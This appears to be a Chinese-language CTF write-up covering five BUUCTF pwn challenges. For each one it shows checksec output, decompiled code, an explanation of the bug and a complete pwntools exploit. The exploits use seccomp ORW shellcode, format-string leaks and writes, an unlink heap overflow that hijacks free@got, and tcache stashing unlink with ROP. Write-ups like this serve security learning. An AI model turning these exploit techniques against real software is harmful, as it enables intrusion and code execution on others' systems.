pwnable_asm
pwnable_asm$ file asm;checksec asm
asm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7401f94b1d6bf6a5afe4b8a9457e71faa2eb5e9, not stripped
[*] '/home/pwn/桌面/22-04-21/pwnable_asm/asm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
无canary, 有NX, 但是会被调用执行
程序直接读入shellcode, 但是有沙箱
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rdx
char *s; // [rsp+18h] [rbp-8h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Welcome to shellcoding practice challenge.");
puts("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.");
puts("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.");
puts("If this does not challenge you. you should play 'asg' challenge :)");
s = (char *)mmap((void *)0x41414000, 0x1000uLL, 7, 50, 0, 0LL);
memset(s, 144, 0x1000uLL);
v3 = strlen(stub);
memcpy(s, stub, v3);
printf("give me your x64 shellcode: ");
read(0, s + 46, 0x3E8uLL);
alarm(0xAu);
chroot("/home/asm_pwn");
sandbox();
((void (__fastcall *)(const char *))s)("/home/asm_pwn");
return 0;
}
ORW
__int64 sandbox()
{
__int64 v1; // [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if ( !v1 )
{
puts("seccomp error");
exit(0);
}
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL);
if ( (int)seccomp_load(v1) < 0 )
{
seccomp_release(v1);
puts("seccomp error");
exit(0);
}
return seccomp_release(v1);
}
直接ORW打开flag读取并打印
from pwn import *
url, port = "node4.buuoj.cn", 27279
filename = "./asm"
elf = ELF(filename)
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def pwn():
mmap_addr = 0x41414000
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, mmap_addr, 0x30)
shellcode += shellcraft.write(1, mmap_addr, 0x30)
io.sendlineafter('x64 shellcode: ', asm(shellcode))
if __name__ == "__main__":
pwn()
io.interactive()
picoctf_2018_echooo
picoctf_2018_echooo$ file PicoCTF_2018_echooo;checksec PicoCTF_2018_echooo
PicoCTF_2018_echooo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped
[*] '/home/pwn/桌面/22-04-21/picoctf_2018_echooo/PicoCTF_2018_echooo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // [esp+14h] [ebp-94h]
FILE *stream; // [esp+18h] [ebp-90h]
char s[64]; // [esp+1Ch] [ebp-8Ch] BYREF
char v6[64]; // [esp+5Ch] [ebp-4Ch] BYREF
unsigned int v7; // [esp+9Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
memset(s, 0, sizeof(s));
memset(s, 0, sizeof(s));
puts("Time to learn about Format Strings!");
puts("We will evaluate any format string you give us with printf().");
puts("See if you can get the flag!");
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(v6, 64, stream);
while ( 1 )
{
printf("> ");
fgets(s, 64, stdin);
printf(s);
}
}
fgets会在字符串末尾添'\0'
, 所以不能直接传64bytes不截断泄露flag, 但是printf(s)
有fmt漏洞而且可以无限次利用, 所以用fmt逐次泄露flag
from pwn import *
url, port = "node4.buuoj.cn", 25184
filename = "./PicoCTF_2018_echooo"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def pwn():
flag=''
for i in range(20, 50):
payload = '%' + str(i) + '$p'
io.sendline(payload)
io.recvuntil('> 0x', timeout=0.5)
try:
revnum = int(io.recvuntil('\n', drop=True), 16)
ch3 = revnum >> 24
ch2 = (revnum >> 16) & 0xff
ch1 = (revnum >> 8) & 0xff
ch0 = revnum & 0xff
flag += chr(ch0) + chr(ch1) + chr(ch2) + chr(ch3)
except: pass
log.info('Done leaking flag:{}'.format(flag))
if __name__ == "__main__":
pwn()
jarvisoj_level6_x64
jarvisoj_level6_x64$ file freenote_x64;checksec freenote_x64
freenote_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
[*] '/home/pwn/桌面/22-04-21/jarvisoj_level6_x64/freenote_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
菜单heap
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_4009FD(a1, a2, a3);
initial();
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
show();
break;
case 2u:
add();
break;
case 3u:
edit();
break;
case 4u:
delete();
break;
case 5u:
puts("Bye");
return 0LL;
default:
puts("Invalid!");
break;
}
}
}
add函数
int add()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-14h]
int size; // [rsp+10h] [rbp-10h]
void *content; // [rsp+18h] [rbp-8h]
if ( *(_QWORD *)(notes + 8) < *(_QWORD *)notes )
{
for ( i = 0; ; ++i )
{
v0 = *(_QWORD *)notes;
if ( i >= *(_QWORD *)notes )
break;
if ( !*(_QWORD *)(notes + 24LL * i + 16) )
{
printf("Length of new note: ");
size = readin();
if ( size > 0 )
{
if ( size > 4096 ) // <= 4096
size = 4096;
content = malloc((128 - size % 128) % 128 + size);// aligned to 128 (0x80
printf("Enter your note: ");
sub_40085D(content, (unsigned int)size);
*(_QWORD *)(notes + 24LL * i + 16) = 1LL;// inuse_flag
*(_QWORD *)(notes + 24LL * i + 24) = size;// note_size
*(_QWORD *)(notes + 24LL * i + 32) = content;// content_ptr
++*(_QWORD *)(notes + 8);
LODWORD(v0) = puts("Done.");
}
else
{
LODWORD(v0) = puts("Invalid length!");
}
return v0;
}
}
}
else
{
LODWORD(v0) = puts("Unable to create new note.");
}
return v0;
}
分配的chunk会按0x80对齐, 然后有inuse位和size, content_ptr
readnote函数里有逻辑漏洞, 读进a2长度的字符串后没有加截断符, 所以存在信息泄露
__int64 __fastcall readnote(__int64 a1, int a2)
{
int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]
if ( a2 <= 0 )
return 0LL;
for ( i = 0; i < a2; i += v4 )
{
v4 = read(0, (void *)(a1 + i), a2 - i);
if ( v4 <= 0 )
break;
}
return (unsigned int)i;
}
delete函数, 没有判断是否inuse, 直接free, 有double free漏洞(都加了inuse标志了居然还写出这个漏洞…
int delete()
{
int index; // [rsp+Ch] [rbp-4h]
if ( *(__int64 *)(notes + 8) <= 0 )
return puts("No notes yet.");
printf("Note number: ");
index = readin();
if ( index < 0 || index >= *(_QWORD *)notes )
return puts("Invalid number!");
--*(_QWORD *)(notes + 8);
*(_QWORD *)(notes + 24LL * index + 16) = 0LL;
*(_QWORD *)(notes + 24LL * index + 24) = 0LL;
free(*(void **)(notes + 24LL * index + 32));
return puts("Done.");
}
edit函数里realloc也不检查size大小, 直接申请更大的size就能修改, 存在堆溢出(所以这个题一共3个漏洞, 还可以glibc2.23的unlink, 算上的话应该是4个
漏洞利用: 截断符逻辑漏洞泄露heap地址和libc地址, 接着堆溢出用unlink劫持chunk0的content指针到chunk0地址处, 修改content指针到free@got, 再edit劫持free@got到system
from pwn import *
url, port = "node4.buuoj.cn", 25572
filename = "./freenote_x64"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def show():
io.sendlineafter('Your choice: ', '1')
def add(size, content):
io.sendlineafter('Your choice:', '2')
io.sendlineafter('Length of new note: ', str(size))
io.sendafter('Enter your note:', content)
def edit(index, size, content):
io.sendlineafter('Your choice: ', '3')
io.sendlineafter('Note number: ', str(index))
io.sendlineafter('Length of note: ', str(size))
io.sendafter('Enter your note: ', content)
def free(index):
io.sendlineafter('Your choice: ', '4')
io.sendlineafter('Note number: ', str(index))
def pwn():
free_got = elf.got['free']
add(0x80, cyclic(0x80)) # chunk0
add(0x80, cyclic(0x80)) # chunk1
add(0x80, cyclic(0x80)) # chunk2
add(0x80, cyclic(0x80)) # chunk3
free(0)
free(2)
add(0x8, 'heapheap') # chunk0
add(0x8, 'libclibc') # chunk2
# B()
show() # leak heap address
io.recvuntil('heapheap')
heap_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
heap_base = heap_addr - 0x1940
io.recvuntil('libclibc')
libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 88 - 0x3C4B20
lf('heap address', heap_addr)
lf('libc base address', libc.address)
free(1)
free(2)
free(3)
# unlink
heap_chunk0 = heap_base + 0x30
fd = heap_chunk0 - 0x18
bk = heap_chunk0 - 0x10
payload = p64(0) + p64(0x80) + p64(fd) + p64(bk)
payload = payload.ljust(0x80, b'\x00')
payload += p64(0x80) + p64(0x90)
payload += cyclic(0x80) + p64(0x90) + p64(0x121)
edit(0, len(payload), payload)
free(1)
# hijack free@got to system
payload = p64(4) + p64(1) + p64(0x8) + p64(free_got) # set chunk0 size to 0x8
payload += p64(1) + p64(8) + p64(heap_addr)
payload = payload.ljust(0x120, b'\x00')
edit(0, len(payload), payload)
system_addr = libc.sym['system']
edit(0, 0x8, p64(system_addr))
edit(1, 0x8, '/bin/sh\x00')
free(1)
if __name__ == "__main__":
pwn()
io.interactive()
npuctf_2020_level2
npuctf_2020_level2$ file npuctf_2020_level2;checksec npuctf_2020_level2
npuctf_2020_level2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cbcae0571d86cbedd9a062947b11780f554776e6, not stripped
[*] '/home/pwn/桌面/22-04-21/npuctf_2020_level2/npuctf_2020_level2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
除了允许栈溢出, 其他保护全开
bss段的fmt漏洞
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
read(0, buf, 0x64uLL);
if ( !strcmp(buf, "66666666") )
break;
printf(buf);
}
return 0;
}
一般非栈上的fmt漏洞采用rbp(ebp)地址链执行写操作, 但是这题没开局部变量, 所以又更为特殊, 这里使用args参数链进行写, 原理跟rbp链是类似的, 通过修改地址链来劫持特定地址的内容, 期间一直打不通发现是printf写数据很花时间所以需要sleep一段时间, 当然也可以sendafter()
参考: https://www.cnblogs.com/LynneHuan/p/14639168.html
from pwn import *
url, port = "node4.buuoj.cn", 25170
filename = "./npuctf_2020_level2"
elf = ELF(filename)
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def pwn():
io.sendline('%9$p,%24$p')
stack_addr, libc_addr = io.recvline().strip().split(b',')
stack_addr = int(stack_addr, 16)
libc_addr = int(libc_addr, 16)
stack_ret_addr = stack_addr - 0xe0
libc_base = libc_addr - 0x3e7638
lf('stack ret address', stack_ret_addr)
lf('libc base address', libc_base)
gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = libc_base + gadgets[0]
payload = "%{}c%9$hn".format((stack_ret_addr & 0xffff))
io.sendline(payload)
io.recv()
for _ in range(2):
io.sendline(cyclic(0x30))
io.recv()
sleep(2)
payload = "%{}c%35$hn".format((one_gadget & 0xffff)) + 'z' * 0x10
io.sendline(payload)
io.recv()
sleep(2)
for _ in range(2):
io.sendline(cyclic(0x30))
io.recv()
sleep(2)
payload = "%{}c%9$hhn".format((stack_ret_addr & 0xff) + 2)
io.sendline(payload)
io.recv()
sleep(2)
for _ in range(2):
io.sendline(cyclic(0x30))
io.recv()
sleep(2)
payload = "%{}c%35$hhn".format(((one_gadget >> 16) & 0xff)) + 'z' * 0x10
io.sendline(payload)
io.recv()
sleep(2)
for _ in range(2):
io.sendline(cyclic(0x30))
io.recv()
sleep(2)
io.send('66666666' + '\x00')
sleep(2)
if __name__ == "__main__":
pwn()
io.interactive()
[2020 新春红包题]3
[2020 新春红包题]3$ file RedPacket_SoEasyPwn1;checksec RedPacket_SoEasyPwn1
RedPacket_SoEasyPwn1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f41911fda8502f138f958776e7735a747371dc9, for GNU/Linux 3.2.0, stripped
[*] '/home/pwn/桌面/22-04-21/[2020 新春红包题]3/RedPacket_SoEasyPwn1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
除了栈溢出其他保护全开
加了沙箱 (ban execve, 那就是ORW了) 的 glibc2.29(ban unsorted bin attack) 的菜单heap
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char buf[268]; // [rsp+0h] [rbp-110h] BYREF
int choice; // [rsp+10Ch] [rbp-4h]
choice = 0;
malloc_chunk(a1, a2, a3);
message();
initial();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
choice = readin();
if ( choice != 3 )
break;
edit(buf);
}
if ( choice > 3 )
break;
if ( choice == 1 )
{
if ( cnt0x1C <= 0 )
failed();
add(buf);
--cnt0x1C;
}
else
{
if ( choice != 2 )
goto LABEL_19;
delete(buf);
}
}
if ( choice == 5 )
failed();
if ( choice < 5 )
{
show(buf);
}
else
{
if ( choice != 666 )
LABEL_19:
failed();
sub_13BD();
}
}
}
666函数, 存在0x10栈溢出, 可以栈迁移ORW
ssize_t sub_13BD()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
if ( *(heapchunk + 2048) <= 0x7F0000000000LL || *(heapchunk + 2040) || *(heapchunk + 2056) )
failed();
puts("You get red packet!");
printf("What do you want to say?");
return read(0, buf, 0x90uLL);
}
delete函数, 悬空指针, 可以double free
int __fastcall delete(__int64 a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]
printf("Please input the red packet idx: ");
v2 = readin();
if ( v2 > 0x10 || !*(16LL * v2 + a1) )
failed();
free(*(16LL * v2 + a1));
return puts("Done!");
}
漏洞利用: 主要思想是tcache stashing unlink 劫持目标指针到 main_arena 附近, 进而把ORW shellcode写入目标段, 最后是栈迁移执行shellcode, get flag
tcache stashing unlink原理比较复杂, 参考CTFwiki: https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/#tcache-stashing-unlink-attack
from pwn import *
url, port = "node4.buuoj.cn", 29074
filename = "./RedPacket_SoEasyPwn1"
elf = ELF(filename)
libc = ELF("./libc64-2.29.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.logilevel = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(index, sizetype, content):
io.sendlineafter('Your input:', str(1))
io.sendlineafter('idx:', str(index))
io.sendlineafter('400):', str(sizetype))
io.sendlineafter('content:', content)
def delete(index):
io.sendlineafter('Your input:', str(2))
io.sendlineafter('idx:', str(index))
def edit(index,content):
io.sendlineafter('Your input:', str(3))
io.sendlineafter('idx:', str(index))
io.sendlineafter('content:', content)
def show(index):
io.sendlineafter('Your input:', str(4))
io.sendlineafter('idx:', str(index))
def pwn():
# sizetype: [0x10, 0xf0, 0x300, 0x400]
for i in range(8):
add(i, 4, 'zzzz')
add(8, 1, 'done')
for i in range(8):
delete(i)
show(6)
heap_addr = (u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x20) >> 8
heap_base = heap_addr - 0x0026c0
show(7)
libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc.address = libc_addr - 0x1e4ca0
lf("heap_base", heap_base)
lf("libc base address", libc.address)
add(0, 4, 'keepgoing')
for i in range(6):
add(i, 2, str(i) * 4)
add(6, 1, 'done')
# B()
for i in range(6): # needs 6 chunks in tcache
delete(i)
add(3, 3, 'zzzz') # put into tcache
# put two bins into smallbin
add(0, 4, 'chunk0')
add(1, 1, 'chunk1')
delete(0)
add(2, 3, 'chunk2')
add(3, 3, 'chunk3')
add(4, 4, 'chunk4')
add(5, 4, 'chunk5') # calloc will split chunk from smallbin
delete(4)
add(6, 3, 'chunk6')
add(7, 3, 'flag.txt')
# B()
payload = cyclic(0x300) + p64(0) + p64(0x101)
payload += p64(heap_base + 0x3f40) + p64(heap_base + 0x0a50)
edit(4, payload)
add(6, 2, 'zzzz')
# B()
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']
pop_rdi = 0x0000000000026542 + libc.address
pop_rsi = 0x0000000000026f9e + libc.address
pop_rdx = 0x000000000012bda6 + libc.address
orw = p64(pop_rdi) + p64(heap_base + 0x004ba0) + p64(pop_rsi) + p64(0)
orw += p64(pop_rdx) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x260)
orw += p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x260)
orw += p64(pop_rdx) + p64(0x100) + p64(write_addr)
add(0, 4, orw)
# B()
io.sendline(str(666))
payload = cyclic(0x80) + p64(heap_base + 0x004ea8) + p64(0x0000000000058373 + libc.address)
io.sendafter('want to say?', payload)
if __name__ == "__main__":
pwn()
io.interactive()
ps: 第一次打tcache stashing的题, 其实我也没完全理解, 有的检查条件都囫囵吞枣了, 后面得再学一遍细节.